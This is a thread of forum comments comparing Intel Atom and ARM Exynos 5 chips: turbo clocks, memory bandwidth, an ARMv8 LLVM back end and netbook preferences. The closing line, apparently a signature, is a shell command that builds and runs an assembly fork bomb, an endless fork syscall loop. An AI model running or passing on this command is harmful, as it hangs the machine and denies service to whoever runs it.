Amen. And we'd still be running IE 6 with an annual coat of paint slapped on it. Seen the same bullshit in state protected monopolies and cartels, such as telecoms and banking. Airlines as well before low cost carriers came in and changed the game.
AMD though have a tough fight. Intel's manufacturing alone puts them way ahead of the game. Doesn't mean though that AMD can't grab a segment.
-- Using the preview button since 2005
The Z2460's base clock remains 1.3GHz, it's only when the thermal conditions allow it that the CPU will boost up to 2GHz.
What does this mean in reality? Yes, short running benchmarks run at 2GHz before the chip gets hot, reporting high scores as a result. This is a flaw with the benchmarks, especially the javascript ones that are gravy for a CPU design that emphasises clock speed at the cost of multiple cores (and hyperthreading really doesn't add much).
Replying again with some more concrete information, that you may be interested in:
From http://hexus.net/tech/news/cpu/47517-samsungs-exynos-5-dual-faces-off-intels-atom-n570/ and http://www.anandtech.com/show/6422/samsung-chromebook-xe303-review-testing-arms-cortex-a15/6
Latest dual-core Exynos 5 thrashes a dual-core Atom with HyperThreading.
the ARMv8 back end for LLVM was written entirely by one guy in under a year and already performs well (although there's still room for optimisation).
Where can I find this LLVM back end? It does not appear to be on llvm.org.
You can currently find it in an ARM repository, accessible to ARM partners. It should be hitting the LLVM repository as soon as it's been cleared by the lawyers.
I am TheRaven on Soylent News
That is interesting.
I've always thought that a lot of the problem with ARM systems is that they typically use mobile SDRAM, Which is low power, but is also clocked slowly and has a rather narrow bus. So if you paired an ARM with the same memory you get in an Atom system, you'd see better figures. I think that is part of what has happened with the Chromebooks.
E.g.
http://www.anandtech.com/show/6422/samsung-chromebook-xe303-review-testing-arms-cortex-a15/3
There are a total of 8 x 256MB DDR3L devices (2GB total) that surround the Exynos 5 Dual SoC (4 on each side of the PCB). Each device is 8-bits wide, all connecting up to the 64-bit wide DDR3L memory controller. The DRAM is clocked at a 1600MHz data rate, resulting in 12.8GB/s of memory bandwidth to the chip. The Exynos 5 Dual integrates two ARM Cortex A15 CPU cores as well as an ARM Mali-T604 GPU.
Yeah - Finally an ARM with memory bandwidth, and it seems like it has really paid off if you look at the CPU benchmarks.
It's also worth pointing out that the Atom 570 is a rather old design. The new Atoms are going to be out of order and hopefully have better performance, though you wonder what will happen to power consumption. Lastly Atom is the slowest x86 CPU and Exynos 5 is one of the fastest ARMs. You can get x86 chips that far surpass the fastest ARM - a Core i7 for example.
Also I think Atoms have always been let down by their chipset - the first Atom chipset consumed much more than the CPU. And the Intel GPU in that chipset is like some sort of sick joke. It's not very low power and the performance is terrible.
Still for a long time Atom was better than AMD for low power and cheap and that meant that it basically owned the netbook segment. So Intel spent its R&D resources on Core i7s and i5s because you can make a lot more cash at the high end.
Now with a bit of luck getting beaten by an Exynos 5 and indeed losing the market for Chromebooks at Samsung will cause Intel to spend some R&D resources on Atom. We know there is a new ValleyView Atom core coming, and we also know they are going to put in a decent integrated GPU. With a bit of luck Atoms will get more R&D resources after that so Atom cores get revved a bit more frequently.
Then again, for what netbooks are meant for - web browsing, email etc - they are basically good enough. I'm not going to switch to ARM on netbook, because I like Windows and Windows RT is a locked down nightmare, whereas x86 Windows runs all the things I need. If I need more power for things like Visual Studio, I've got a Core i5 laptop.
And even if Valleyview is a bit of a disappointment, I'm probably going to end up buying a netbook based on it at some point, purely based on the fact that it runs x86 Windows and that is what I want to run.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;